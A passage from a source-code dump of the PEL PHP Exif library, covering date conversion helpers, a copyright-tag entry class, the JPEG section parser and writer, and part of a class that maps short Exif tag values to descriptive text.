| return 0; 367 | 368 | $m1412 = ($month <= 2) ? -1 : 0; 369 | return floor(( 1461 * ( $year + 4800 + $m1412 ) ) / 4) + 370 | floor(( 367 * ( $month - 2 - 12 * $m1412 ) ) / 12) - 371 | floor(( 3 * floor( ( $year + 4900 + $m1412 ) / 100 ) ) / 4) + 372 | $day - 32075; 373 | } 374 | 375 | /** 376 | * Converts a Julian Day count to a year/month/day triple. 377 | * 378 | * @param int the Julian Day count. 379 | * @return array an array with three entries: year, month, day. 380 | */ 381 | function convertJdToGregorian($jd) { 382 | // Special case mapping 0 -> 0/0/0 383 | if ($jd == 0) 384 | return array(0,0,0); 385 | 386 | $l = $jd + 68569; 387 | $n = floor(( 4 * $l ) / 146097); 388 | $l = $l - floor(( 146097 * $n + 3 ) / 4); 389 | $i = floor(( 4000 * ( $l + 1 ) ) / 1461001); 390 | $l = $l - floor(( 1461 * $i ) / 4) + 31; 391 | $j = floor(( 80 * $l ) / 2447); 392 | $d = $l - floor(( 2447 * $j ) / 80); 393 | $l = floor($j / 11); 394 | $m = $j + 2 - ( 12 * $l ); 395 | $y = 100 * ( $n - 49 ) + $i + $l; 396 | return array($y, $m, $d); 397 | } 398 | 399 | /** 400 | * Converts a UNIX timestamp to a Julian Day count. 401 | * 402 | * @param int $timestamp the timestamp. 403 | * @return int the Julian Day count. 404 | */ 405 | function convertUnixToJd($timestamp) { 406 | return (int)(floor($timestamp / 86400) + 2440588); 407 | } 408 | 409 | /** 410 | * Converts a Julian Day count to a UNIX timestamp. 411 | * 412 | * @param int $jd the Julian Day count. 413 | 414 | * @return mixed $timestamp the integer timestamp or false if the 415 | * day count cannot be represented as a UNIX timestamp. 416 | */ 417 | function convertJdToUnix($jd) { 418 | $timestamp = ($jd - 2440588) * 86400; 419 | if ($timestamp != (int)$timestamp) 420 | return false; 421 | else 422 | return $timestamp; 423 | } 424 | 425 | } 426 | 427 | 428 | /** 429 | * Class for holding copyright information. 430 | * 431 | * The Exif standard specifies a certain format for copyright 432 | * information where the one {@link PelTag::COPYRIGHT copyright 433 | * tag} holds both the photographer and editor copyrights, separated 434 | * by a NULL character. 435 | * 436 | * This class is used to manipulate that tag so that the format is 437 | * kept to the standard. A common use would be to add a new copyright 438 | * tag to an image, since most cameras do not add this tag themselves. 439 | * This would be done like this: 440 | * 441 | * 442 | * $entry = new PelEntryCopyright('Copyright, Martin Geisler, 2004'); 443 | * $ifd0->addEntry($entry); 444 | * 445 | * 446 | * Here we only set the photographer copyright, use the optional 447 | * second argument to specify the editor copyright. If there is only 448 | * an editor copyright, then let the first argument be the empty 449 | * string. 450 | * 451 | * @author Martin Geisler 452 | * @package PEL 453 | */ 454 | class PelEntryCopyright extends PelEntryAscii { 455 | 456 | /** 457 | * The photographer copyright. 458 | * 459 | * @var string 460 | */ 461 | private $photographer; 462 | 463 | /** 464 | * The editor copyright. 465 | * 466 | * @var string 467 | */ 468 | private $editor; 469 | 470 | 471 | /** 472 | * Make a new entry for holding copyright information. 473 | * 474 | * @param string the photographer copyright. Use the empty string 475 | * if there is no photographer copyright. 476 | * 477 | * @param string the editor copyright. Use the empty string if 478 | * there is no editor copyright. 479 | */ 480 | function __construct($photographer = '', $editor = '') { 481 | parent::__construct(PelTag::COPYRIGHT); 482 | $this->setValue($photographer, $editor); 483 | } 484 | 485 | 486 | /** 487 | * Update the copyright information. 488 | * 489 | * @param string the photographer copyright. Use the empty string 490 | * if there is no photographer copyright. 491 | * 492 | * @param string the editor copyright. Use the empty string if 493 | * there is no editor copyright. 494 | */ 495 | function setValue($photographer = '', $editor = '') { 496 | $this->photographer = $photographer; 497 | $this->editor = $editor; 498 | 499 | if ($photographer == '' && $editor != '') 500 | $photographer = ' '; 501 | 502 | if ($editor == '') 503 | parent::setValue($photographer); 504 | else 505 | parent::setValue($photographer . chr(0x00) . $editor); 506 | } 507 | 508 | 509 | /** 510 | * Retrive the copyright information. 511 | * 512 | * The strings returned will be the same as the one used previously 513 | * with either {@link __construct the constructor} or with {@link 514 | * setValue}. 515 | * 516 | * @return array an array with two strings, the photographer and 517 | * editor copyrights. The two fields will be returned in that 518 | * order, so that the first array index will be the photographer 519 | * copyright, and the second will be the editor copyright. 520 | */ 521 | function getValue() { 522 | return array($this->photographer, $this->editor); 523 | } 524 | 525 | 526 | /** 527 | * Return a text string with the copyright information. 528 | * 529 | * The photographer and editor copyright fields will be returned 530 | * with a '-' in between if both copyright fields are present, 531 | * otherwise only one of them will be returned. 532 | * 533 | * @param boolean if false, then the strings '(Photographer)' and 534 | * '(Editor)' will be appended to the photographer and editor 535 | * copyright fields (if present), otherwise the fields will be 536 | * returned as is. 537 | * 538 | * @return string the copyright information in a string. 539 | */ 540 | function getText($brief = false) { 541 | if ($brief) { 542 | $p = ''; 543 | $e = ''; 544 | } else { 545 | $p = ' ' . Pel::tra('(Photographer)'); 546 | $e = ' ' . Pel::tra('(Editor)'); 547 | } 548 | 549 | if ($this->photographer != '' && $this->editor != '') 550 | return $this->photographer . $p . ' - ' . $this->editor . $e; 551 | 552 | if ($this->photographer != '') 553 | return $this->photographer . $p; 554 | 555 | if ($this->editor != '') 556 | return $this->editor . $e; 557 | 558 | return ''; 559 | } 560 | } 561 | 562 | -------------------------------------------------------------------------------- /pel/PelJpeg.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public License (GPL) 35 | * @package PEL 36 | */ 37 | 38 | /**#@+ Required class definitions. */ 39 | require_once('PelJpegComment.php'); 40 | require_once('PelJpegContent.php'); 41 | require_once('PelDataWindow.php'); 42 | require_once('PelJpegMarker.php'); 43 | require_once('PelException.php'); 44 | require_once('PelExif.php'); 45 | require_once('Pel.php'); 46 | /**#@-*/ 47 | 48 | 49 | /** 50 | * Exception thrown when an invalid marker is found. 51 | * 52 | * This exception is thrown when PEL expects to find a {@link 53 | * PelJpegMarker} and instead finds a byte that isn't a known marker. 54 | * 55 | * @author Martin Geisler 56 | * @package PEL 57 | * @subpackage Exception 58 | */ 59 | class PelJpegInvalidMarkerException extends PelException { 60 | 61 | /** 62 | * Construct a new invalid marker exception. 63 | * 64 | * The exception will contain a message describing the error, 65 | * including the byte found and the offset of the offending byte. 66 | * 67 | * @param int the byte found. 68 | * 69 | * @param int the offset in the data. 70 | */ 71 | function __construct($marker, $offset) { 72 | parent::__construct('Invalid marker found at offset %d: 0x%2X', 73 | $offset, $marker); 74 | } 75 | } 76 | 77 | /** 78 | * Class for handling JPEG data. 79 | * 80 | * The {@link PelJpeg} class defined here provides an abstraction for 81 | * dealing with a JPEG file. The file will be contain a number of 82 | * sections containing some {@link PelJpegContent content} identified 83 | * by a {@link PelJpegMarker marker}. 84 | * 85 | * The {@link getExif()} method is used get hold of the {@link 86 | * PelJpegMarker::APP1 APP1} section which stores Exif data. So if 87 | * the name of the JPEG file is stored in $filename, then one would 88 | * get hold of the Exif data by saying: 89 | * 90 | * 91 | * $jpeg = new PelJpeg($filename); 92 | * $exif = $jpeg->getExif(); 93 | * $tiff = $exif->getTiff(); 94 | * $ifd0 = $tiff->getIfd(); 95 | * $exif = $ifd0->getSubIfd(PelIfd::EXIF); 96 | * $ifd1 = $ifd0->getNextIfd(); 97 | * 98 | * 99 | * The $idf0 and $ifd1 variables will then be two {@link PelTiff TIFF} 100 | * {@link PelIfd Image File Directories}, in which the data is stored 101 | * under the keys found in {@link PelTag}. 102 | * 103 | * Should one have some image data (in the form of a {@link 104 | * PelDataWindow}) of an unknown type, then the {@link 105 | * PelJpeg::isValid()} function is handy: it will quickly test if the 106 | * data could be valid JPEG data. The {@link PelTiff::isValid()} 107 | * function does the same for TIFF images. 108 | * 109 | * @author Martin Geisler 110 | * @package PEL 111 | */ 112 | class PelJpeg { 113 | 114 | /** 115 | * The sections in the JPEG data. 116 | * 117 | * A JPEG file is built up as a sequence of sections, each section 118 | * is identified with a {@link PelJpegMarker}. Some sections can 119 | * occur more than once in the JPEG stream (the {@link 120 | * PelJpegMarker::DQT DQT} and {@link PelJpegMarker::DHT DTH} 121 | * markers for example) and so this is an array of ({@link 122 | * PelJpegMarker}, {@link PelJpegContent}) pairs. 123 | * 124 | * The content can be either generic {@link PelJpegContent JPEG 125 | * content} or {@link PelExif Exif data}. 126 | * 127 | * @var array 128 | */ 129 | private $sections = array(); 130 | 131 | /** 132 | * The JPEG image data. 133 | * 134 | * @var PelDataWindow 135 | */ 136 | private $jpeg_data = null; 137 | 138 | /** 139 | * Construct a new JPEG object. 140 | * 141 | * The new object will be empty unless an argument is given from 142 | * which it can initialize itself. This can either be the filename 143 | * of a JPEG image, a {@link PelDataWindow} object or a PHP image 144 | * resource handle. 145 | * 146 | * New Exif data (in the form of a {@link PelExif} object) can be 147 | * inserted with the {@link setExif()} method: 148 | * 149 | * 150 | * $jpeg = new PelJpeg($data); 151 | * // Create container for the Exif information: 152 | * $exif = new PelExif(); 153 | * // Now Add a PelTiff object with a PelIfd object with one or more 154 | * // PelEntry objects to $exif... Finally add $exif to $jpeg: 155 | * $jpeg->setExif($exif); 156 | * 157 | * 158 | * @param mixed the data that this JPEG. This can either be a 159 | * filename, a {@link PelDataWindow} object, or a PHP image resource 160 | * handle. 161 | */ 162 | function __construct($data = false) { 163 | if ($data === false) 164 | return; 165 | 166 | if (is_string($data)) { 167 | Pel::debug('Initializing PelJpeg object from %s', $data); 168 | $this->loadFile($data); 169 | } elseif ($data instanceof PelDataWindow) { 170 | Pel::debug('Initializing PelJpeg object from PelDataWindow.'); 171 | $this->load($data); 172 | } elseif (is_resource($data) && get_resource_type($data) == 'gd') { 173 | Pel::debug('Initializing PelJpeg object from image resource.'); 174 | $this->load(new PelDataWindow($data)); 175 | } else { 176 | throw new PelInvalidArgumentException('Bad type for $data: %s', 177 | gettype($data)); 178 | } 179 | } 180 | 181 | /** 182 | * Load data into a JPEG object. 183 | * 184 | * The data supplied will be parsed and turned into an object 185 | * structure representing the image. This structure can then be 186 | * manipulated and later turned back into an string of bytes. 187 | * 188 | * This methods can be called at any time after a JPEG object has 189 | * been constructed, also after the {@link appendSection()} has been 190 | * called to append custom sections. Loading several JPEG images 191 | * into one object will accumulate the sections, but there will only 192 | * be one {@link PelJpegMarker::SOS} section at any given time. 193 | * 194 | * @param PelDataWindow the data that will be turned into JPEG 195 | * sections. 196 | */ 197 | function load(PelDataWindow $d) { 198 | 199 | Pel::debug('Parsing %d bytes...', $d->getSize()); 200 | 201 | /* JPEG data is stored in big-endian format. */ 202 | $d->setByteOrder(PelConvert::BIG_ENDIAN); 203 | 204 | /* Run through the data to read the sections in the image. After 205 | * each section is read, the start of the data window will be 206 | * moved forward, and after the last section we'll terminate with 207 | * no data left in the window. */ 208 | while ($d->getSize() > 0) { 209 | /* JPEG sections start with 0xFF. The first byte that is not 210 | * 0xFF is a marker (hopefully). 211 | */ 212 | for ($i = 0; $i < 7; $i++) 213 | if ($d->getByte($i) != 0xFF) 214 | break; 215 | 216 | $marker = $d->getByte($i); 217 | 218 | if (!PelJpegMarker::isValid($marker)) 219 | throw new PelJpegInvalidMarkerException($marker, $i); 220 | 221 | /* Move window so first byte becomes first byte in this 222 | * section. */ 223 | $d->setWindowStart($i+1); 224 | 225 | if ($marker == PelJpegMarker::SOI || $marker == PelJpegMarker::EOI) { 226 | $content = new PelJpegContent(new PelDataWindow()); 227 | $this->appendSection($marker, $content); 228 | } else { 229 | /* Read the length of the section. The length includes the 230 | * two bytes used to store the length. */ 231 | $len = $d->getShort(0) - 2; 232 | 233 | Pel::debug('Found %s section of length %d', 234 | PelJpegMarker::getName($marker), $len); 235 | 236 | /* Skip past the length. */ 237 | $d->setWindowStart(2); 238 | 239 | if ($marker == PelJpegMarker::APP1) { 240 | 241 | try { 242 | $content = new PelExif(); 243 | $content->load($d->getClone(0, $len)); 244 | } catch (PelInvalidDataException $e) { 245 | /* We store the data as normal JPEG content if it could 246 | * not be parsed as Exif data. */ 247 | $content = new PelJpegContent($d->getClone(0, $len)); 248 | } 249 | 250 | $this->appendSection($marker, $content); 251 | /* Skip past the data. */ 252 | $d->setWindowStart($len); 253 | 254 | } elseif ($marker == PelJpegMarker::COM) { 255 | 256 | $content = new PelJpegComment(); 257 | $content->load($d->getClone(0, $len)); 258 | $this->appendSection($marker, $content); 259 | $d->setWindowStart($len); 260 | 261 | } else { 262 | 263 | $content = new PelJpegContent($d->getClone(0, $len)); 264 | $this->appendSection($marker, $content); 265 | /* Skip past the data. */ 266 | $d->setWindowStart($len); 267 | 268 | /* In case of SOS, image data will follow. */ 269 | if ($marker == PelJpegMarker::SOS) { 270 | /* Some images have some trailing (garbage?) following the 271 | * EOI marker. To handle this we seek backwards until we 272 | * find the EOI marker. Any trailing content is stored as 273 | * a PelJpegContent object. */ 274 | 275 | $length = $d->getSize(); 276 | while ($d->getByte($length-2) != 0xFF || 277 | $d->getByte($length-1) != PelJpegMarker::EOI) { 278 | $length--; 279 | } 280 | 281 | $this->jpeg_data = $d->getClone(0, $length-2); 282 | Pel::debug('JPEG data: ' . $this->jpeg_data->__toString()); 283 | 284 | /* Append the EOI. */ 285 | $this->appendSection(PelJpegMarker::EOI, 286 | new PelJpegContent(new PelDataWindow())); 287 | 288 | /* Now check to see if there are any trailing data. */ 289 | if ($length != $d->getSize()) { 290 | Pel::maybeThrow(new PelException('Found trailing content ' . 291 | 'after EOI: %d bytes', 292 | $d->getSize() - $length)); 293 | $content = new PelJpegContent($d->getClone($length)); 294 | /* We don't have a proper JPEG marker for trailing 295 | * garbage, so we just use 0x00... */ 296 | $this->appendSection(0x00, $content); 297 | } 298 | 299 | /* Done with the loop. */ 300 | break; 301 | } 302 | } 303 | } 304 | } /* while ($d->getSize() > 0) */ 305 | } 306 | 307 | 308 | /** 309 | * Load data from a file into a JPEG object. 310 | * 311 | * @param string the filename. This must be a readable file. 312 | */ 313 | function loadFile($filename) { 314 | $this->load(new PelDataWindow(file_get_contents($filename))); 315 | } 316 | 317 | 318 | /** 319 | * Set Exif data. 320 | * 321 | * Use this to set the Exif data in the image. This will overwrite 322 | * any old Exif information in the image. 323 | * 324 | * @param PelExif the Exif data. 325 | */ 326 | function setExif(PelExif $exif) { 327 | $app0_offset = 1; 328 | $app1_offset = -1; 329 | 330 | /* Search through all sections looking for APP0 or APP1. */ 331 | for ($i = 0; $i < count($this->sections); $i++) { 332 | if ($this->sections[$i][0] == PelJpegMarker::APP0) { 333 | $app0_offset = $i; 334 | } elseif ($this->sections[$i][0] == PelJpegMarker::APP1) { 335 | $app1_offset = $i; 336 | break; 337 | } 338 | } 339 | 340 | /* Store the Exif data at the appropriate place, either where the 341 | * old Exif data was stored ($app1_offset) or right after APP0 342 | * ($app0_offset+1). */ 343 | if ($app1_offset > 0) 344 | $this->sections[$app1_offset][1] = $exif; 345 | else 346 | $this->insertSection(PelJpegMarker::APP1, $exif, $app0_offset+1); 347 | } 348 | 349 | 350 | /** 351 | * Get Exif data. 352 | * 353 | * Use this to get the @{link PelExif Exif data} stored. 354 | * 355 | * @return PelExif the Exif data found or null if the image has no 356 | * Exif data. 357 | */ 358 | function getExif() { 359 | $exif = $this->getSection(PelJpegMarker::APP1); 360 | if ($exif instanceof PelExif) 361 | return $exif; 362 | else 363 | return null; 364 | } 365 | 366 | 367 | /** 368 | * Clear any Exif data. 369 | * 370 | * This method will only clear the first @{link PelJpegMarker::APP1} 371 | * section found (there should normally be just one). 372 | */ 373 | function clearExif() { 374 | for ($i = 0; $i < count($this->sections); $i++) { 375 | if ($this->sections[$i][0] == PelJpegMarker::APP1) { 376 | unset($this->sections[$i]); 377 | return; 378 | } 379 | } 380 | } 381 | 382 | 383 | /** 384 | * Append a new section. 385 | * 386 | * Used only when loading an image. If it used again later, then the 387 | * section will end up after the @{link PelJpegMarker::EOI EOI 388 | * marker} and will probably not be useful. 389 | * 390 | * Please use @{link setExif()} instead if you intend to add Exif 391 | * information to an image as that function will know the right 392 | * place to insert the data. 393 | * 394 | * @param PelJpegMarker the marker identifying the new section. 395 | * 396 | * @param PelJpegContent the content of the new section. 397 | */ 398 | function appendSection($marker, PelJpegContent $content) { 399 | $this->sections[] = array($marker, $content); 400 | } 401 | 402 | 403 | /** 404 | * Insert a new section. 405 | * 406 | * Please use @{link setExif()} instead if you intend to add Exif 407 | * information to an image as that function will know the right 408 | * place to insert the data. 409 | * 410 | * @param PelJpegMarker the marker for the new section. 411 | * 412 | * @param PelJpegContent the content of the new section. 413 | * 414 | * @param int the offset where the new section will be inserted --- 415 | * use 0 to insert it at the very beginning, use 1 to insert it 416 | * between sections 1 and 2, etc. 417 | */ 418 | function insertSection($marker, PelJpegContent $content, $offset) { 419 | array_splice($this->sections, $offset, 0, array(array($marker, $content))); 420 | } 421 | 422 | 423 | /** 424 | * Get a section corresponding to a particular marker. 425 | * 426 | * Please use the {@link getExif()} if you just need the Exif data. 427 | * 428 | * This will search through the sections of this JPEG object, 429 | * looking for a section identified with the specified {@link 430 | * PelJpegMarker marker}. The {@link PelJpegContent content} will 431 | * then be returned. The optional argument can be used to skip over 432 | * some of the sections. So if one is looking for the, say, third 433 | * {@link PelJpegMarker::DHT DHT} section one would do: 434 | * 435 | * 436 | * $dht3 = $jpeg->getSection(PelJpegMarker::DHT, 2); 437 | * 438 | * 439 | * @param PelJpegMarker the marker identifying the section. 440 | * 441 | * @param int the number of sections to be skipped. This must be a 442 | * non-negative integer. 443 | * 444 | * @return PelJpegContent the content found, or null if there is no 445 | * content available. 446 | */ 447 | function getSection($marker, $skip = 0) { 448 | foreach ($this->sections as $s) { 449 | if ($s[0] == $marker) 450 | if ($skip > 0) 451 | $skip--; 452 | else 453 | return $s[1]; 454 | } 455 | 456 | return null; 457 | } 458 | 459 | 460 | /** 461 | * Get all sections. 462 | * 463 | * @return array an array of ({@link PelJpegMarker}, {@link 464 | * PelJpegContent}) pairs. Each pair is an array with the {@link 465 | * PelJpegMarker} as the first element and the {@link 466 | * PelJpegContent} as the second element, so the return type is an 467 | * array of arrays. 468 | * 469 | * So to loop through all the sections in a given JPEG image do 470 | * this: 471 | * 472 | * 473 | * foreach ($jpeg->getSections() as $section) { 474 | * $marker = $section[0]; 475 | * $content = $section[1]; 476 | * // Use $marker and $content here. 477 | * } 478 | * 479 | * 480 | * instead of this: 481 | * 482 | * 483 | * foreach ($jpeg->getSections() as $marker => $content) { 484 | * // Does not work the way you would think... 485 | * } 486 | * 487 | * 488 | * The problem is that there could be several sections with the same 489 | * marker, and thus a simple associative array does not suffice. 490 | */ 491 | function getSections() { 492 | return $this->sections; 493 | } 494 | 495 | 496 | /** 497 | * Turn this JPEG object into bytes. 498 | * 499 | * The bytes returned by this method is ready to be stored in a file 500 | * as a valid JPEG image. Use the {@link saveFile()} convenience 501 | * method to do this. 502 | * 503 | * @return string bytes representing this JPEG object, including all 504 | * its sections and their associated data. 505 | */ 506 | function getBytes() { 507 | $bytes = ''; 508 | 509 | foreach ($this->sections as $section) { 510 | $m = $section[0]; 511 | $c = $section[1]; 512 | 513 | /* Write the marker */ 514 | $bytes .= "\xFF" . PelJpegMarker::getBytes($m); 515 | /* Skip over empty markers. */ 516 | if ($m == PelJpegMarker::SOI || $m == PelJpegMarker::EOI) 517 | continue; 518 | 519 | $data = $c->getBytes(); 520 | $size = strlen($data) + 2; 521 | 522 | $bytes .= PelConvert::shortToBytes($size, PelConvert::BIG_ENDIAN); 523 | $bytes .= $data; 524 | 525 | /* In case of SOS, we need to write the JPEG data. */ 526 | if ($m == PelJpegMarker::SOS) 527 | $bytes .= $this->jpeg_data->getBytes(); 528 | } 529 | 530 | return $bytes; 531 | 532 | } 533 | 534 | 535 | /** 536 | * Save the JPEG object as a JPEG image in a file. 537 | * 538 | * @param string the filename to save in. An existing file with the 539 | * same name will be overwritten! 540 | */ 541 | function saveFile($filename) { 542 | file_put_contents($filename, $this->getBytes()); 543 | } 544 | 545 | 546 | /** 547 | * Make a string representation of this JPEG object. 548 | * 549 | * This is mainly usefull for debugging. It will show the structure 550 | * of the image, and its sections. 551 | * 552 | * @return string debugging information about this JPEG object. 553 | */ 554 | function __toString() { 555 | $str = Pel::tra("Dumping JPEG data...\n"); 556 | for ($i = 0; $i < count($this->sections); $i++) { 557 | $m = $this->sections[$i][0]; 558 | $c = $this->sections[$i][1]; 559 | $str .= Pel::fmt("Section %d (marker 0x%02X - %s):\n", 560 | $i, $m, PelJpegMarker::getName($m)); 561 | $str .= Pel::fmt(" Description: %s\n", 562 | PelJpegMarker::getDescription($m)); 563 | 564 | if ($m == PelJpegMarker::SOI || 565 | $m == PelJpegMarker::EOI) 566 | continue; 567 | 568 | if ($c instanceof PelExif) { 569 | $str .= Pel::tra(" Content : Exif data\n"); 570 | $str .= $c->__toString() . "\n"; 571 | } elseif ($c instanceof PelJpegComment) { 572 | $str .= Pel::fmt(" Content : %s\n", $c->getValue()); 573 | } else { 574 | $str .= Pel::tra(" Content : Unknown\n"); 575 | } 576 | } 577 | 578 | return $str; 579 | } 580 | 581 | 582 | /** 583 | * Test data to see if it could be a valid JPEG image. 584 | * 585 | * The function will only look at the first few bytes of the data, 586 | * and try to determine if it could be a valid JPEG image based on 587 | * those bytes. This means that the check is more like a heuristic 588 | * than a rigorous check. 589 | * 590 | * @param PelDataWindow the bytes that will be checked. 591 | * 592 | * @return boolean true if the bytes look like the beginning of a 593 | * JPEG image, false otherwise. 594 | * 595 | * @see PelTiff::isValid() 596 | */ 597 | static function isValid(PelDataWindow $d) { 598 | /* JPEG data is stored in big-endian format. */ 599 | $d->setByteOrder(PelConvert::BIG_ENDIAN); 600 | 601 | for ($i = 0; $i < 7; $i++) 602 | if ($d->getByte($i) != 0xFF) 603 | break; 604 | 605 | return $d->getByte($i) == PelJpegMarker::SOI; 606 | } 607 | 608 | } 609 | 610 | -------------------------------------------------------------------------------- /pel/PelEntryShort.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /**#@+ Required class definitions. */ 40 | require_once('PelEntryNumber.php'); 41 | require_once('PelConvert.php'); 42 | require_once('Pel.php'); 43 | /**#@-*/ 44 | 45 | 46 | /** 47 | * Class for holding signed shorts. 48 | * 49 | * This class can hold shorts, either just a single short or an array 50 | * of shorts. The class will be used to manipulate any of the Exif 51 | * tags which has format {@link PelFormat::SHORT} like in this 52 | * example: 53 | * 54 | * 55 | * $w = $ifd->getEntry(PelTag::EXIF_IMAGE_WIDTH); 56 | * $w->setValue($w->getValue() / 2); 57 | * $h = $ifd->getEntry(PelTag::EXIF_IMAGE_HEIGHT); 58 | * $h->setValue($h->getValue() / 2); 59 | * 60 | * 61 | * Here the width and height is updated to 50% of their original 62 | * values. 63 | * 64 | * @author Martin Geisler 65 | * @package PEL 66 | */ 67 | class PelEntryShort extends PelEntryNumber { 68 | 69 | /** 70 | * Make a new entry that can hold an unsigned short. 71 | * 72 | * The method accept several integer arguments. The {@link 73 | * getValue} method will always return an array except for when a 74 | * single integer argument is given here. 75 | * 76 | * This means that one can conveniently use objects like this: 77 | * 78 | * $a = new PelEntryShort(PelTag::EXIF_IMAGE_HEIGHT, 42); 79 | * $b = $a->getValue() + 314; 80 | * 81 | * where the call to {@link getValue} will return an integer 82 | * instead of an array with one integer element, which would then 83 | * have to be extracted. 84 | * 85 | * @param PelTag the tag which this entry represents. This should be 86 | * one of the constants defined in {@link PelTag}, e.g., {@link 87 | * PelTag::IMAGE_WIDTH}, {@link PelTag::ISO_SPEED_RATINGS}, 88 | * or any other tag with format {@link PelFormat::SHORT}. 89 | * 90 | * @param int $value... the short(s) that this entry will 91 | * represent. The argument passed must obey the same rules as the 92 | * argument to {@link setValue}, namely that it should be within 93 | * range of an unsigned short, that is between 0 and 65535 94 | * (inclusive). If not, then a {@link PelOverFlowException} will be 95 | * thrown. 96 | */ 97 | function __construct($tag /* $value... */) { 98 | $this->tag = $tag; 99 | $this->min = 0; 100 | $this->max = 65535; 101 | $this->format = PelFormat::SHORT; 102 | 103 | $value = func_get_args(); 104 | array_shift($value); 105 | $this->setValueArray($value); 106 | } 107 | 108 | 109 | /** 110 | * Convert a number into bytes. 111 | * 112 | * @param int the number that should be converted. 113 | * 114 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and 115 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. 116 | * 117 | * @return string bytes representing the number given. 118 | */ 119 | function numberToBytes($number, $order) { 120 | return PelConvert::shortToBytes($number, $order); 121 | } 122 | 123 | 124 | /** 125 | * Get the value of an entry as text. 126 | * 127 | * The value will be returned in a format suitable for presentation, 128 | * e.g., instead of returning '2' for a {@link 129 | * PelTag::METERING_MODE} tag, 'Center-Weighted Average' is 130 | * returned. 131 | * 132 | * @param boolean some values can be returned in a long or more 133 | * brief form, and this parameter controls that. 134 | * 135 | * @return string the value as text. 136 | */ 137 | function getText($brief = false) { 138 | switch ($this->tag) { 139 | case PelTag::METERING_MODE: 140 | //CC (e->components, 1, v); 141 | switch ($this->value[0]) { 142 | case 0: 143 | return Pel::tra('Unknown'); 144 | case 1: 145 | return Pel::tra('Average'); 146 | case 2: 147 | return Pel::tra('Center-Weighted Average'); 148 | case 3: 149 | return Pel::tra('Spot'); 150 | case 4: 151 | return Pel::tra('Multi Spot'); 152 | case 5: 153 | return Pel::tra('Pattern'); 154 | case 6: 155 | return Pel::tra('Partial'); 156 | case 255: 157 | return Pel::tra('Other'); 158 | default: 159 | return $this->value[0]; 160 | } 161 | 162 | case PelTag::COMPRESSION: 163 | //CC (e->components, 1, v); 164 | switch ($this->value[0]) { 165 | case 1: 166 | return Pel::tra('Uncompressed'); 167 | case 6: 168 | return Pel::tra('JPEG compression'); 169 | default: 170 | return $this->value[0]; 171 | 172 | } 173 | 174 | case PelTag::PLANAR_CONFIGURATION: 175 | //CC (e->components, 1, v); 176 | switch ($this->value[0]) { 177 | case 1: 178 | return Pel::tra('chunky format'); 179 | case 2: 180 | return Pel::tra('planar format'); 181 | default: 182 | return $this->value[0]; 183 | } 184 | 185 | case PelTag::SENSING_METHOD: 186 | //CC (e->components, 1, v); 187 | switch ($this->value[0]) { 188 | case 1: 189 | return Pel::tra('Not defined'); 190 | case 2: 191 | return Pel::tra('One-chip color area sensor'); 192 | case 3: 193 | return Pel::tra('Two-chip color area sensor'); 194 | case 4: 195 | return Pel::tra('Three-chip color area sensor'); 196 | case 5: 197 | return Pel::tra('Color sequential area sensor'); 198 | case 7: 199 | return Pel::tra('Trilinear sensor'); 200 | case 8: 201 | return Pel::tra('Color sequential linear sensor'); 202 | default: 203 | return $this->value[0]; 204 | } 205 | 206 | case PelTag::LIGHT_SOURCE: 207 | //CC (e->components, 1, v); 208 | switch ($this->value[0]) { 209 | case 0: 210 | return Pel::tra('Unknown'); 211 | case 1: 212 | return Pel::tra('Daylight'); 213 | case 2: 214 | return Pel::tra('Fluorescent'); 215 | case 3: 216 | return Pel::tra('Tungsten (incandescent light)'); 217 | case 4: 218 | return Pel::tra('Flash'); 219 | case 9: 220 | return Pel::tra('Fine weather'); 221 | case 10: 222 | return Pel::tra('Cloudy weather'); 223 | case 11: 224 | return Pel::tra('Shade'); 225 | case 12: 226 | return Pel::tra('Daylight fluorescent'); 227 | case 13: 228 | return Pel::tra('Day white fluorescent'); 229 | case 14: 230 | return Pel::tra('Cool white fluorescent'); 231 | case 15: 232 | return Pel::tra('White fluorescent'); 233 | case 17: 234 | return Pel::tra('Standard light A'); 235 | case 18: 236 | return Pel::tra('Standard light B'); 237 | case 19: 238 | return Pel::tra('Standard light C'); 239 | case 20: 240 | return Pel::tra('D55'); 241 | case 21: 242 | return Pel::tra('D65'); 243 | case 22: 244 | return Pel::tra('D75'); 245 | case 24: 246 | return Pel::tra('ISO studio tungsten'); 247 | case 255: 248 | return Pel::tra('Other'); 249 | default: 250 | return $this->value[0]; 251 | } 252 | 253 | case PelTag::FOCAL_PLANE_RESOLUTION_UNIT: 254 | case PelTag::RESOLUTION_UNIT: 255 | //CC (e->components, 1, v); 256 | switch ($this->value[0]) { 257 | case 2: 258 | return Pel::tra('Inch'); 259 | case 3: 260 | return Pel::tra('Centimeter'); 261 | default: 262 | return $this->value[0]; 263 | } 264 | 265 | case PelTag::EXPOSURE_PROGRAM: 266 | //CC (e->components, 1, v); 267 | switch ($this->value[0]) { 268 | case 0: 269 | return Pel::tra('Not defined'); 270 | case 1: 271 | return Pel::tra('Manual'); 272 | case 2: 273 | return Pel::tra('Normal program'); 274 | case 3: 275 | return Pel::tra('Aperture priority'); 276 | case 4: 277 | return Pel::tra('Shutter priority'); 278 | case 5: 279 | return Pel::tra('Creative program (biased toward depth of field)'); 280 | case 6: 281 | return Pel::tra('Action program (biased toward fast shutter speed)'); 282 | case 7: 283 | return Pel::tra('Portrait mode (for closeup photos with the background out of focus'); 284 | case 8: 285 | return Pel::tra('Landscape mode (for landscape photos with the background in focus'); 286 | default: 287 | return $this->value[0]; 288 | } 289 | 290 | case PelTag::ORIENTATION: 291 | //CC (e->components, 1, v); 292 | switch ($this->value[0]) { 293 | case 1: 294 | return Pel::tra('top - left'); 295 | case 2: 296 | return Pel::tra('top - right'); 297 | case 3: 298 | return Pel::tra('bottom - right'); 299 | case 4: 300 | return Pel::tra('bottom - left'); 301 | case 5: 302 | return Pel::tra('left - top'); 303 | case 6: 304 | return Pel::tra('right - top'); 305 | case 7: 306 | return Pel::tra('right - bottom'); 307 | case 8: 308 | return Pel::tra('left - bottom'); 309 | default: 310 | return $this->value[0]; 311 | } 312 | 313 | case PelTag::YCBCR_POSITIONING: 314 | //CC (e->components, 1, v); 315 | switch 